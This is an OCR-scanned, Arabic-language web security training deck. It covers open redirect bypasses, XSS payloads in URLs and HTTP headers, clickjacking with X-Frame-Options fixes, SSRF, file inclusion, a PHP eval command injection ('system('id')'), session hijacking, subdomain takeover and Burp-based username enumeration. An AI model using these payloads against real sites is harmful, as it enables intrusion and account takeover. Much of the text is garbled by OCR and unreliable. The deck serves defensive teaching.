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fTarget T Proxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Compa
[+ Tewsl
f Target I Po=sitions T Payloads T Options ]

|?| Payload Positions

Configure the positions where payloads will be inserted into the base request. The attack tyg

Attack type: L Cluster bomb

POST /home HTTP/1.1

Content—-Type: application/x—-www—form-—ur lencoded
Host: isecurlty.com

Content—-Length: €5
view=default&loc=§182.168.0.1§:§822§|
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Server-side HTTP Redirection 523 axie Joaiul ;3 Uk e

7 5930 JOAxiudy o 585 x5S B35 ae BRI 038 radins @
search.php?s= (2 xss & 5 (e A b a0 LAIK) 28 gall yasd dic
A 5 geall 8 ISy B o

POST /home HITE/1.1

Content-Type: application/x-www-form-urlencoded
Host: lsecurlty.com

Content-Length: 635

view=defaulteloc=1isecurlty.com/search.php?s=<¢script>alert("hacked")</script>
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Celilaliial Canliy DAL 3 5L aladin) i hacked 3alS ey 3 5L aladiuly L o

S g xss 5 ah Adliaa (5 Al dadia ) (el Liad g (bgadill 3 a8 Liaaddl () e
LBl (B Bl AN Aalus e 2y G A (e 58
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Open Redirect; b o

PR B ) ghad JA) LeiSly (g jAl Lol 5 o) Dlabea (M o gaills o 6858 35 (& ddalosss @
O daaall d.\j;fue}éagl\n”'é)jjd\ Oladall phishing <leaa S ety JSo
L_uw L)ALCL\Q‘} 0)5 ).\S\ J.wujt_\hb.d\ MJJOJJJAWL;\ L;m\X’\ cﬁj.d\
donall aed JSLEL (o) (g LAAY\ QA}J\ A Al Ja il UY dolail) phishing
sl Hll g 4@l e S

il ¢33 s34 05y e (51 A0 ) Gk i Lasic a0 o3 el o
A A (e

http://vwww.1securlty.com?redirect=http://www.1securlty.org
2 ! ) =



(...4LS5) Redirection J) &l s

& isecurlty.com (= Jisaill a iy redirect o e )b Gl Gilldl Ul 8 e
;30 Al 4l Uil e jlll 4 e Jaaedll Liad 13) 13 ¢SIisecurlty.org

http://www.1secur1ty.com?redirect=http:/ ' www.phishing com

Vel (e 38 Y Olas adgall SIS 13 apaa) dag i) ) @l ga§ 2 aolally o

e damily 5 (s 5l Ll (G saily o s ) el S amd e 5 ) LESY o
?eﬁgj Y .Lae‘ d.g;_\n_\e\ﬂ d.&y: Cﬂ)AM M\AJM\L;‘){)L.\UJM Jar

FTT/1.1 [b02 Gbgecs moved Gk B3 sl A L) (S Jipal) ke o
Location: http://www.lsecurlty.com

Dokl (e B pilia o
HITP/1.1 200 OK oM - . .o
:+ O url=http://www.isecurlty.com HTTP Headers (_ﬁ ‘\_\j\_\j\ d.\);_\j\ d.\\..u.:) d)é R j\ °
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php JsS) 43 il (G| e
redirect sl A asall yr] () Jasailly 2 58y Jasiy 35S 138 o

dad e (3aaill 4L g (g JﬁjeMOpen Redirect 3 L cilae 2SI Jaa jrisy o
IS Al S g OMAAN B Il g) agag a2e 5 redirect il
<strong> http://ww.isecurlty.com/vuln.php?<span style="color: #993300;">url</span>=<span style="color:

#808000; ">http://www.hacked. com
</span»</strong-

Il Dk anlgall a8 00 58 5 hacked.com A adse (A Jagailly Lidd o
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var redirect = locaticn.hash.substring(l):
if (redirect)

window.location="http://'+decodeURIComponent (redirect); javascript J\)S‘ L.é SJMM ul .:,','SS\ °
Sl e 53 e & g o) g Y Al al g S (o sadil) dlaay g8y Gy Sl Ll 2 S e
() op Al (S5 98 RAlh Clias ad galld 3 redirect el sl
<strong-http://wa.isecurlty.com/<span style="color: #ff@@00;"»?#</span>www.hacked.com</strong:
111 s anleall 290 52 5 hacked.com  _A) adse (Al Jysailly Licd o
—e Al Lule caa g 119 Adi04l) «"‘d‘ O (3aad dalaay ejsa CA}J\ O Ak (Slg e

Ljr1 .l:g\‘)j\ ‘)géuiii Lj:>kﬁs L;yn <;5§:;35\ .}J;S ~5‘ 3\)3155‘ Ljrlai$3 ;ij‘gt:h_n‘j j:*gjg .l:g\‘)jtg
P ORI d).u\ 23 (yamy () e i encoding
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Open Redirect 3_xil aatie Jaiul 11 0 o

Jrsal lee eas ol 4 L Lavie (€05 gole Bl I JDGawY) Jaal o
http://www.1securlty.com/vuln.php?url=http://www hacked.com

;5 ) oda Jaddl (sl (amy addii e

5_alal) i g WAF &35 Ulal Lol )l Ji8 (%00 or 0x00) null byte 4dlzal/1 e

url encoding Lol 1l JS 5l /2 e

http://www. isecurlty.com/vuln, php?ur 1=%68%74%74%70%3a%2£%2£5 775775 77%2e%6B% 615635 E6h% 65% 645256356 L% Ed[
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. :.../3
i ) 18,4 [
http://www. isecurlty.com/vuln.php?url=http://lwww.hacked.com http'// -~

http://www. isecurlty.com/vuln.php?url=%68%74%74%570%3as2fs2fwww. hacked.com

|aSa o HtTp Al http Jeni D Cagyall Ala 8 e DN/4 o

http://www.isecur lty.com/vuln php?url=HtTp://www hacked.com

Dsall/5 .

http://www.1securlty.com/vuln. php?url=http: 'http:www hacked.com
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(...4LS5) Redirection J) &l s

Open Redirect 3_al aadie Joainl :2J0a o

u\ﬂw\mgamcﬁﬂuaﬁg\mejxss u\JuuAQAJA\MLAJLO
XSS by Jo) aliasy Open Redirect By (—;\Jsﬁu\ A glaa Ly 8 1Al xss

http://wwiw isecur ]ty com/vuln php?url=http www hacked com ¢ Lialad LS o gadll 3 y28 Jaiu) 14 e
http://www.1securlty.com/vuln.phpurl=<script=alert(1);</script= XSS! Eﬁ iy MJ\A‘“ °
?dﬂ\mxssg\ﬁw\%@“é}d\éay;y‘gﬁ-

PHNicmlwdDShbGVydCexKTseLiNjemlwdDd=  (sion) JSally C—‘mﬂ base64 2Ll jads, ejﬁ-w e

http://www .isecurity.com/vuln.phpZurl=data:text/html;base64, PHNjcmiwdDShbGVydCoxKTsSL3NjcmiwdD4= ds-‘-“j‘ \5-64 -LJ‘ )M g_é '6 )M‘ G‘m o
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T el 2Ll xuad url encoding £ 55 (e i a st Y 5 o

........................................................................................

url=%64%61%74%61%32%74%65%78%74%2{%68%74%6d%6C%3b%62%6 1
%73%65%36%34%2C%50%48%46%68%63%60%6C%77%64%44%35%68%62
%47%56%79%64%43%67%78%4b%54%73%38%4C%33%4£%6a%63%6d%6C

%77%64%44%34%
;

a d
1 D SYS Aail) muaig e

d-
)
Q

()

OK

open redirect 3)5:’ L_B:‘)LQ-CXSS UALSAMCSJALQO/O'IOOJAMXSS $J§jo
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5 ail eda (e dleall 5k ) oY) Jis o

SV 58 e g b Agm s Ble ) 5l padl) Aulee aladid aae Y5l Juiady o
uh&d\eﬁgsmjsajjsagu\ .

400 2l meta characters JS aie o

Tl 5 aladinly mLendl e g ladga b il Layl 55 M 05S5 Jyadll cililee S o
A lA
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gusl_ae;\.g_d\mwhwﬂ}z”QM\éy”ﬁjdj\&@MBﬂ\quo
L;\dpﬁ@yg\wumg;m\ﬂ\j\ummeﬁgmmuu&
i OAuth ¢ W e o o) sa

Usi e JS gale 2850 98 (example.isecurlty.org) JBell Juw Ao Lica 3 4l e
GET k| 4 glhaall daaiall Jeaall ga 3 padll aiST a0l

+ ) el el i oY) e



(...4kS%) Click Jacking J) 323

|1 Get:http://example.isecurlty.org/ouath.page

Host: example.isecurlty.org

User-Agent: Mozilla/5.2 (Windows NT 6.2; WOW64; rv:44.0) Gecko/20180101 Firefox/44.0
Accept: text/html,application/xhtml+xml,application/xml;g=0.9,*/%*;g=0.8
Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive

If-Modified-Since: *<span style="color: #ffffff;">x

sdasd

Boo~NoOu A WNE

</span>

HTTP/1.1 208 OK

Cache-Control: private

Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4. 0.30319
X-Powered-By: ASP_NET

Date: Thu, 11 Feb 2016 11:45:34 GMT
Content-Length: 1221

O~V B WN =
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o3 ghiaiall (a jrp A Al Aad 2> 0 Y 5 X-Frame-Options Jl e38 (2 32 0 Y o
C A A A Al dada L object ) Iframe sl frame o) (» Aadall

dadall (assil (W) U Clickjacking  3uah s @ sall () 5S5 O) (Sax o

Alia g ddia sea bl 5 ) guall Lis 28 50 example.isecurlty.org o) Leai sl e
. liad) gay dpdaall ) gall Jsaally Glapkaill and o) IS (e Sy dpals
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Vinsounmee <

example.isecurlty.org C || Q search B O 6 3 A & =

Web site confirm OAuth page

Dear user , HackAPP requesting access to your private photo albums
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iframe Js U A iframe e 58 html 4ata Jazy o 8195 il o jail Y] o
example.isecurlty.org/oauth.page ! 25

<"iframe src="http://example.isecurity.org/oauth.page?id=123&app=hackerapp>
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file:///C:/Users/abdullah/Desktop/ufu/1.html

OAuth page <

Dear user , HackAPP requesting
access to your private photo albums

Alloww Deny
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. Aasall 238 8 clickjacking 3 _a:

mbﬁgﬁ\wuﬁﬁﬁY\gﬁ\wcss &hu@ﬁﬁY\cﬁ\qu\o
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Ve B R R R O I NN~

htp//evilitecom/securlty/ dickhacking hem ™ Q Search

e Bl ¢ sl Cinla ge; Auboca; & LS
ST ek ) e ac jall Jaal g olial 3
ow
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MLM\JJL_\MJJ@J;@M@MJMJMSM\o&g_u_u.au\uY\0
) evilsite < Uk . 4_) a&é&‘ ‘)‘9&4}‘

Ll i) aalis oY) o

sl Bl ¢ gh) il g Aiubecas & LS
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(...4S5) Click Jacking J) 3 _as

G2 example.isecurlty.org s 2 allow L) baay a8y 568 Shal Jhas
ozl e Jpemall il bl s s 4dle
+ 5 y2Al (pe laal) e
L@JAOJ.:_\M &J@jéﬁay d)ﬂ‘whlﬁj\ An g1 @
gl Alasall o) cladall JS 58 50l 8 X-Frame-Options g<as *

S il WSl A pae Alla b Ciladiall daal o psh Cilaiiall 8 Cu S s daa s o
e



(...4S5) Click Jacking J) 3 _as

X-Frame-Options Js> Gle glaall (any o

leia Header J 13d ad 251 0
Iframe & 4adall o4 cledinl oh o) &y DENY *

(4 mal) mod) Baph (et hadd A gall udi 8 dadial) s cledin) Sy SAMEORIGIN e
Aadiall o2a Loy )l 4y V) aladiuly (pre @8 sa 5 Jail )1 ~lasdl ALLOW-FROM uri

cih{)édgunﬂ eLC-C::A&AJ .
Apache 8L 8y e
httpd.conf () (A& el ddlial cliSay o

Header always append X-Frame-Options SAMEORIGIN



(...4S5) Click Jacking J) 3 _as

Nginx A e
Al Gl st ‘_;J\ﬂ\ Dbl hadcal nginx.conf <l R

‘1 add_header X-Frame-Options "SAMEORIGIN":<span style="color: #ffffff;">x
2 </span-

server {
listen R
server name localhost;

_caruar tnkane nff.

add header X-Frame-Options “SAMEORIGIN";
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INBLEY
Sl il caal Web.config <l A e

<system.webServer>

<httpProtocol>

<customHeaders>

<add name="X-Frame-Options” value="SAMEORIGIN” / >
<customHeaders/>

<httpProtocol/>

<system.webServer/>
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SSRF J) 3_js

5 a5 aly Sleagl 15l aal (e 3 5le SSRF _liie) ah Cus SSRF (e alSH Cigus @
Sever Side Request ) 4 Jbaid] (oa agdll 4l geud 3 jaiS Lea i (S Leild ang
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(...4L&) SSRF JI 5 i

€ Gl a4y Ca o
L 43 salaldl Jocalhost U1 cre ililall calay o 58y 28 g0 Lipal 431 DUia Lica 3 5l o
T L YIS ) () S

Jazy diiall o) Al 8 (jaee diie auiai g localhost (ol Aga sl iy (38ad Jasd] (V) o
CJ\4O45OOe\.LAY\AUS\UAAJS&\AJMJMYU\S\JUQk 20()&;)“
el a2 Al 8304 O 5Ss cagu Wy S|
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SSRF &l 28 3214 o
el 221 A0S Ranlga s Canll @
s it el e Jaad o3 Cilardll daalea 5 ac o
(A e a) b Lea b aien) Clacaall L) i) d8aladd) cilaad Dl o
LB G ala y Al SOP (et e
SIS ) M i AL VLAY e aaell @lia Cladll il e slaie YL o
HTTP 5 HTTPS et JsSi e Sl JuaiVl e i) CURL  padiasy i ol
il Qe (dicty//) alaain) Load (Se cURL (o2 d.uu ol il S,
e g e 5 ol oY Ome olla s A
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CUPS is the standards-based, open source printing system developed by Apple Inc. f

CUPS for Users CUPS for Administrators
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limit_reqg_zone $binary_remote_addr zone=cne:18m rate=2r/s;

location /YourPathIfYouHave/ {
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Allow_url Open -
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“Warning: include(): http:// wrapper is disabled in the server
configuration by allow_url_fopen=0"[...]]*
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include ("include/config.php")

<?
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if (Sabdullaheidphp ==
}'login.php")
;include $abdullaheidphp

;else die ("not fuond"){

<?
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;abdullaheidphp = ("include/config.php")$
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<?
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$0 = $_GET['arg’];

eval("$dz = $0;");
?>



(...4lS3) RCE J 3_as

u‘,wwm‘y c.A).\.d\uA\.Lnj\ 18 g3 18 g Javen php JJSL,’J.:;Y\%A.
@j.d\ujs 35S ) ) e Jlaxin)
S caS Jolealny) (e gt e
127.0.0.1/index.php?arg=1; phpinfo() ziaiall e dayl )l il jaiil oo gaie
DAl o Al phpinfo & edﬁ B4 (panDly g e
127.0.0.1/index.php?arg=1; system('id")
el 1 g ddabn JS0 8yl e Wy (al’llid d\\.ﬁ\.lac\e'jdéd\u'a;)u'g‘ﬁ\j-
las jlad
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(...ALS5) RCE J) 5%

; dae_nll 4] Cuy RCE 330 o

&ﬂ\ﬁwgu&smrce Sﬁ@ﬁt\h&\‘\i‘éﬁ&\ému.

(0 pyara e Gl 5 Glud¥) s mﬂ\uuuﬁwuyg\)sg;esm‘ymu\j.
\hc\.d\\l.ca_a\JL@_Adua_\lbub@mJ;quuoﬂum&u\uﬁjM\
3 ad o ol Cagu lala e JUS o

https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-
2016-10033.html

A A e Bl (S dus PHP LsAma||() M\Jéd&m@“ﬁ_\ul&bﬂj\b&j .
Shell Session e Js=asll 5 Header J &

s Ana yul) Al cpe (ll) 1ala o
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WIS \Js\ F
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a1l a8 (53l Session aadiuall Ala e 3 ) Alee o Gl Al o
9 Session ID dudall 8 ) Llailly (3 iaall & 98y o) 4 50 asdal) Alat) dulee Uil
s 38 Reverse Engineering, AU ulgisale) ol Brute Force W& soba) 2l g

S Sl a5 Persistent dwilall lulall sl (e oo 3 ia ) Cag jaal) (e @

Caaly (S aadiudl Slea 8 Lehada 5 Cookies s) baba )Y ildle iy jad ela) (4
AN e Gy gl Ay die ol e



(...4LS5) Session Hijacking J) 3_a

ook | JJMG@_er\J\ 25 non-Persistent dalall el Gludall o S &jﬂ\o
J,MSESSIOI’\|D Mheﬁ)w‘yueuur_)ﬂ\)\suﬁ@m.mﬂ A uall
LA&MLJJA\.@J.&M)\L@J“JJL;J\ M\u\‘)mc\ﬁ}.d M\MMLJ\
@thwtymwd\mﬂ\www\ﬁ\d@mbL,,_u.ueajl\\:A ?LL"

LQJ;Y\u\)M\uML@xAGALMLJ\Q_\SJeMHP @Lﬁ\

43\.».4\)\ J.\Au.du.:uuu\ )aw\ﬁ\d&w J\\AAJJ)M@JS.\UJMJ.\A\
ujwuﬁuuﬂ\mm}\@uy\u)ﬂ\mdujm&\ﬂ\wmﬂ\
uw\uauﬂﬂmu\es Mydj\émdw\ejﬂundw\u.&.\
@ijmu\esjg\ﬁgﬂ\ehuﬂ HTTP Request @JLS\U;L@M}}M\
O Allall lai dga s e my 13gd Gilai 18 5 SID 8 apal 0ga sall Aldal) o8
@M\eM\ﬁdM\
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Jial Jus e Sl adlin (5l Aaalal) ardieal) Filaial Jsea sl a cllly daiagy o
u.cdhj u\.mu\uic c.)\.u.n)d MU‘USAJXSS Al Claaa O JSJ]M JJJAM

?SJM \AAd\.u)\jeM\mu\eﬁ)b;\ﬁejmewu)&\a\adjsjaﬂ@k
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a)a_\j\ a.JA u.A ‘\J“\.Aéj‘ °
£laiiall )28 Laaiaat g dudal) 28 5 yali gl o
Lt 1) g e a5 Al joll Adsal) CHlal) i SSL U AJasin o

MG@_u\AaL@J)«;eM\ULJMGA\SuAJL@JsMML@ eleils a8 Ling yo o
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Session ID J! 53 BurpSuite Sequencer 313}

f ) Request to https://helpdeskt.tanmeyah_lan:8181 [10.132.0.202]

[ Forward J [ Drop J [ Intercept is on ] [ Action J

J Raw I Params T Headers T Hex ]

GET /helpdesk/get ip.jsp?branch=--&owner=-- HTTP/1.1

Host: helpdeskt.tanmeyah.lan:8181

Connection: close

sec-ch-ua: "Goocgle Chrome";wv="89", "Chromium";wv="89", ";Not A Brand";v="99"
sec-ch-ua-mobile: 20

User—-Agent: Mczilla/5.0 (Windows NT 10.0; Winé64; x64) AppleWebKit/537.36 (KHTML,
custom—-header: helpdesk

Accept: */*

Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: cors

Sec—-Fetch-Dest: empty

Referer: https://helpdeskt.tanmeyah.lan:8181l/helpdesk/report ip address.jsp
Accept-Enceding: gzip, deflate

Accept-Language: en-US,en;g=0.9

Cookie: JSESSIONID=4772a365178cd5£f874eb660bb528;
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Session ID J 31 BurpSuite Sequencer 313

Sequencer ' request JL ) & request J) (i« Cookie J) sy a 585

f £ Request to https://helpdeskt tanmeyah lan:8181 [10.132.0.202]

| Forward ||  Drop || Interceptison ||  Action |

_[ Raw TParams THeaders THex ]

GET /helpdesk/get ip.Jjsp?branch=--&owner=-- HTTP/1.1

Host: helpdeskt.tanmeyah.lan:8181

Connection: close

sec-ch-ua: "Google Chrome";v="89", "Chromium";v="839", ";Not A Brand";v="99"
sec-ch-ua-mobile: 20

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
custom-header: helpdesk

Accept: */*

Sec-Fetch-Site: same-origin
Sec-Fetch-Mcde: cors
Sec-Fetch-Dest: empty

Referer: https://helpdeskt.tanmeyah.lan:8181l/helpdesk/report ip address.jsp
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;g=0.9
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Session ID J! 53 BurpSuite Sequencer 313}

/ 8 Request to hitps://helpdeskttanmeyah.lan:8181 [10.132.0.202]

| Forward || Drop | 'Interceptison | | Action |
_[ Raw ] Params T Headers I Hex ]

GET /helpdesk/get ip.Jjsp?branch=--&owner=-- HTTP/1.1
Host: helpdeskt.tanmeyah.lan:8181

Connection: close

sec-ch-ua: "Goocgle Chrome";
sec-ch-ua-meocbile: 20
User-Agent: Mozilla/S5.0 (W3
custom-header: helpdesk
Accept: */*
Sec-Fetch-Site:
Sec-Fetch-Mcde: cors
Sec-Fetch-Dest: empty
Referer: https://helpdeskt
Accept-Enceoding: gzip, defl
Accept-Language: en-US,en;qd

same—-origin

Scan [Pro version only]
Send to Intruder
Send to Repeater

Send to Comparer

Send to Decoder

Request in browser

Engagement tools [Pro version only]
Change request method

Change body encoding

Copy URL
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Session ID J! 53 BurpSuite Sequencer 313}

J Live capture ] Manual load TAnalysis options ]

@ Select Live Capture Request

Send requests here from other tools to configure a live capture. Select the request to use, configure the other optic

| Remove | # 4| Host ' Request
W 4 https://helpdeskt tanmeyah lan:8181 GET /helpdesk/get_ip.jsp?branch=-&owner:

[ Start live capture J

@ Token Location Within Response

Select the location in the response where the token appears.

® Cookie: [JSESSIONID=4b990d9424a4fbcaa1 69 . ﬂ

Form field

() Custom location: [ Configure J
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Session ID J! 58 BurpSuite Sequencer 313}

e AS) il Le axy Gus Cookies JI bl Live Capture dI L) e bawall &l e
i LSl IS 1) 48 yeal Analyze now L) e baall o 533 Cookie 1 4ad 100
¥ sl Cookie J) 4ad

@ Live capture (paused)

[ Resume | [ Copy tokens | J Auto analyze (next: 200) Requests: 112

| Stop | | Savetokens | | Analyze now . Emors: 0

Summary Character-level analysis Bit-level analysis Analysis Options
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Randomness = Very Good oY »i () caea Cookie J) 4ad 13a Lllha & Cua o

_[ Summary I Character-level analysis I Bit-level analysis IAnaIysis Options ]

Overall result

The overall quality of randomness within the sample is estimated to be: very good.
At a significance level of 1%, the amount of effective entropy is estimated to be: 78 bits.

f

A Aatn: Iharartar Inial analivere wwace nnt Arfarmas bhosrarien tha ca In 190 10 tnn oemall ralatng
Nole. Lrnaracier-ievel analysis was not periornmea pecause ife sampie siZe 1S (00 smaii relalivt
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HTTP Headers J) <l y&d

dugivl s Jl )l A& HTTP header e Osaaing (s sdl 31N (5 e (o Sl o
;o) e llall (ool g allall 8 (5 jan Le agdl Cilllall

agd (A daeludn Allg o)l Ay llall 8 3aga gl palinll aal 7 0 agll e
AW Input J o &9 08 o) oS WS gl by Adlaiall il ,a3 LS

Q) Al
GET v | http://localhost/labs/header.php HTTP/1.1 )
HTTP Headers(Fix By www.Danyial.com) |Oca I hOSt LA‘ LSJLC ” SS S o
Host: localhost | " )

User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*,q=0.8
Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive

If-Modified-Since: *
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(...4S5) HTTP Headers J) &l jas
HOST J o

Oo - dIse U aa 0 Cus HOST ) (0 438 yae (o sha (e Aae ) (2 a sl and ) S
€ o gllaall a5l g8 Lo iyl Ca e o

ans) Dbl miaiall ok Cogu algall U candi gua oY) bl L8 el e

e Live HTTP Replay(Fix By www.Danyial.com) - o iEd HOST ‘-é JH‘ L;\ GJAM
GET v/ | http://localhost/labs/header.php HTTP/1.1 XSS B,)ﬁd LB“)B‘ Jl'.‘:‘i‘ dAL} e‘ﬁés Oy\ ¢

HTTP Headers(Fix By www.Danyial.com)

Host: "> <img src=x onerror=alert('isecurlty’)> ‘ B‘J‘ L.B.'L)L L}C h._\jH\ J:iﬂ ‘5J ®

User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0

Accept: text/html, application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 . - .
Accept-Language: en-US,en;q=0.5 . szuts | lve HTTP h ed d er

Accept-Encoding: gzip, deflate
Connection: keep-alive
If-Modified-Since: *
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(...4kSS) HTTP Headers J) &l yas

XSS 3 ésdm&jmu )-@-E-NJJMJHOSTLJ\M«\)S.\JSJ.\J\ Jmu}uo

€ | @ locelhost/labs heade x | Q B U 0 A O &

SEM> ©- S OFf. 7 O-m B % 0o x
i e, SRR ima

< !DOCTYPE htel>

(?.7_1:).

Jy >
wLcenter>
<|v; srce™iz. ipg

“><Jivg>
sisecurlty</nis
Our website iz **>

<iwg onerrorealert(’isecurlty’)” srce*x"></ivg> @
iSecurtYy : =
c/fcente
</D y >
</htm
Rules Compntted Forfts Eex Medel Anenaticns
+ %

elesent { fnline

[raraferming data from localhost..,
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REFERER

adjﬂ\uﬁé\_\lc jmu.\;a).\.d\ JJAS]\}L_\\_\M‘)J\@\AA?@_A}AJ‘)&J\O

:@Y\S:\MU@H\ Os5Sew «Google &)LQLZ\M\Q@QBJ}JO



S 4

eaders J) &l yad

e 96 s A D & =

localhost/|abs/header.phy

REMDY ©. (s |Ore. |F ™ E(% Qo x
| ntml body center

<!DOCTYPE html>

html> e

<body>

iSECURITY

<hl>isecurlty</hl>

GECUWT%OFHCMLCOMMUNWY
' ~ ' -

' ' -

you can back to previous page from here

<a href="http: e.com">here</a>
</center>
</body>
~ ! </html>
[} « .- - <
oalooll Golg :nalddl| )alall :ujc
@ Live HTTP Replay(Fix By www.Danyial.com) = = .

isecurlty

GET v | | http://localhost/labs/header.php HTTP/1.1
HTTP Headers(Fix By www.Danyial.com)
you can back to previous page from herehere Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/%;q=0.8 ]
Accept-Language: en-US,en;q=0.5
Accept-Enceding: gzip, deflate
Connection: keep-alive
Referer:http://www.google.com

If-Modified-Since: *

Replay Close




(...4&3) HTTP Headers J) &l jad

el & s g javascript:alert(‘isecurlty’); ) REFERER J) 4ad U e ol o
Tl ) e aiall 5 ey 4l o5 g S UlaS g )

0 localhost/labs/header.php c Q Search ﬁ B e 3 A © @' =

QE)‘@E{SOP&?“ ™| E% Q@0 x
html body img 7‘
<!DOCTYPE html>
<html> @
w <head>
<title>Hi there</title>
</head>
w <body>
w<center>
<img src="is.jpg"></img>
<hl>isecurlty</hl>
isecurity you can ba.ck to ?revious page from here
<a href="javascript:alert('isecurlty');">here</a>
</center>
</body>
</html>

()} Live HTTP Replay(Fix By www.Danyial.com) = = .

GET v | | http://localhost/labs/header.php HTTP/1.1
HTTP Headers(Fix By www.Danyial.com)

[ Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/%,q=0.8 "
Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive

Refererjavascript:alert('isecurlty’);

If-Modified-Since: *

Replay v Close
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Subdomain Takeover J) 3 y&&

aul ,iizy s 5 (Canonical Name) J\mﬁ s 5 DNS Record s CNAME J' *
Jinull.test.com Ll Mia (56K Ladie 3ol ey (5l Aldall and (Alias) et
O s ) iamtest123.herokuapp.com s 4 o=l CNAME Record

Jid jamtest123.herokuapp.com ! s subdomain s null.test.com
8 g ol Cizd ) DAa ) jamtest123.herokuapp.com 2 s e Jaxd Ladie

null.test.com (& Loyl & 58 e GsSh 5 Jaaty
Subdomain (& J=XICNAME z) aliul 44K
nslookup <l Gk e aadaing §gau gl o

nslookup syed.subdomain-takeover.tk



(...4kS&S5) Subdomain Takeover J) 3 i

g @28.8.8.8 syed.subdomain-takeover.tk CNAME d|g JAT (..é.{)‘b Q.Q :_\L_\.;.u_\“ KT ( )gs'g..g“ [
Subdomain Takeover 3 x5 ala o
CNAME DNS Record J misconfiguration & s (835 & @

subdomain <l L 4S54 ella ik d...aa\ ).uj.\)\_\.w Sllac | ey § maly e e
Heroku ) AWS 4 4edadll 4plall cileadl h‘ ) ox& CNAME DNS Record J s
Ldie & duwaall (S daBla &_1.@_1.1\ o) CNAME 13 cadasl ¢ )l D5 aa S CJ\
Heroku j\ AWS (_g Las clbea Jaaady L@_A\ asad | saast w.wu J 5 suall iy
S S AWS (8 dad AWS S W external service & o555 O L—*M)
aaleall Jawy Ladie 5 (Github & JawS Github S 5! heroku # Ja=5 heroku
subdomam Ju ?S;J\ @L.u.m Lia g Jaa (u.u\ a3l W PACON| Y G.@_u.d\ N d.\;...n.d TRY
Subdomain Takeover e 034 “5)~J‘ aslil csﬂ\



(...4S3) Subdomain Takeover J) 325

gA controllable domain J

CNAME sl gnotherdomain.com e————i —— 12 34

X.example.com

A

l

5.6.78

Sub-domain takeover
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Subdomain Takeover «iaii caS o
C A ) 5l dadlall apgtiall o) 4aadiia el CNAME DNS Records (s (=lis o
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Authentication J) 3 &

« < 2 Al g Brute-Force J a2 ) Authentication J) 325 mllaas july e
GAla e Jlaainl 4 gladd Lnle alaie V) A er ( Ol ) 48y yh ej;gj\ Sllee
Cpedl 44y ya e PIN G.a;...d\ @-‘)’“‘M ?ﬂJj\ ) }A\usjeM\ 6’“\5‘\-"‘“
SUXS g da8ia ) ‘j.A.LJ‘)J}\u\A&mJ\AJ‘j‘wM\uyu.\AY‘UA‘\LW
Brute-Force 4 A.L\...u).\ e);@J\ dolac uﬁ abilall g Jala ) ol jad elal C\_\s.d\ Al
MSM\M\}J\L_\LASUAJA.\SJJQ J.d}uuaﬂ\ ‘J.@JJMd.\.\LJeMC
Cpe aall 4l o Brute-Force = <lasgll PREGN Adngiieall lilnl) daal dually
(S J\_\.\;Y u.m.A\ﬁ\ u,gﬂ;d\ A.L\...ny JJSJ o)s.u..d\ u\_\\:\gl\ M\.AA ).u.uﬂ u..)...u\)g.d\
LS okl a8l (pe A5kl oda riad s Apieall Cilalaiall g ol gall ClS0E ol



(...4LSS) Authentication J) 35

ALY Ls'ﬂ\j Dictionary Attack — u»;—«m\ Sanlial Brute Force 8 41-»4\ JJ .
e);.é» eBJY\juJAY\uAMJA j\ PRI )...J\ Q_\LAAS(‘;\M\‘%U.\AA.\M @J.Lu
el o8 sl A seally gl e LS Al o) JSA 1
dujs Alaie YL e);@Jh C\Aﬂ\ujs;&j.d\ KYY oJJSUAuAL\ Brute-Force Attack ”
&}d\\&)hb ‘\.CJ\AMA\JJQ-\\AAJ‘PUAYL‘\.AM‘Q_}MJJ\JJ&}MJ&MDJ
MSMM@JJ}J}E&Q\JW\@JMSQ‘WL;\DJJJM@\yUAm}eM\
Lealdaly eA;_u.n.A\ ?3373 gd\ )



(...4LSS) Authentication J) 35

‘Brute-Force Attack - alasiul o Jilal o

Lara’y Cyber Kill Chain J) duda (3e 3 Saall dal yall 8 30le Gilangd) s2a Chaad e
Lalls agdlaay sl bl paat ) dsal jall Uy Al ¢ ALY dal e A
Brute-Force 4k u}em PURIL AN Cj]jl\ daSa e oy sl J.».a;.\
M\ € Claaa Jurdil ) ) gal) @i 8 g i) 48 51 (0aeall) Attack
\AJM\\.AS sLid | cu gl Aladia e Eaall Brute Force J) 4s yha o5 8 pidall Jeation
Rt 5 ] i Aag o el LK) i 5L s ) lain Joas o

OS 1Y) Lad 48 jmal Aaliaall ) op e jWEA) Brute Force Attack ) asae
L i Sy ol Anbaal) G e L Cangps s Aadlac g g Ay 3 s alaa



(...4LSS) Authentication J) 35

An example of badly handled incorrect login messages is:

? Login for user foo: invalid password |

? Login failed, invalid user ID

? Login failed; account disabled |

?Login failed; this user is not active]

All these messages reveal that the provided user is correct.
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(...4LSS) Authentication J) 35

The following is an example of how handle the above
situation correctly:

l Login failed; Invalid user ID or password

This does not inform the attacker on which credential is
wrong and makes enumeration more difficult.
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Administration Area Login Administration Area Login

Invalid Username Invalid Password

In this example foo is an incorrect guess, while John is a real
username.
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(...4LSS) Authentication J) 35

The difference here is easy to find. We receive an explicit
Invalid Username message when the username is not valid. In
contrast, when it is valid we receive an /nvalid Password
message (the passwords can be entered randomly).
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(...4LSS) Authentication J) 35

In this example, we want to fuzz the username. So we will
add a position to the username parameter.

| Target l Positions T Payloads IOptions ]

»| Payload Positions
Configure the positions where payloads will be inserted into the base request. The attack type determines the way in wh

Attack type: | Sniper

POST /login.php HTTP/1.1

Host: targetapplication.site

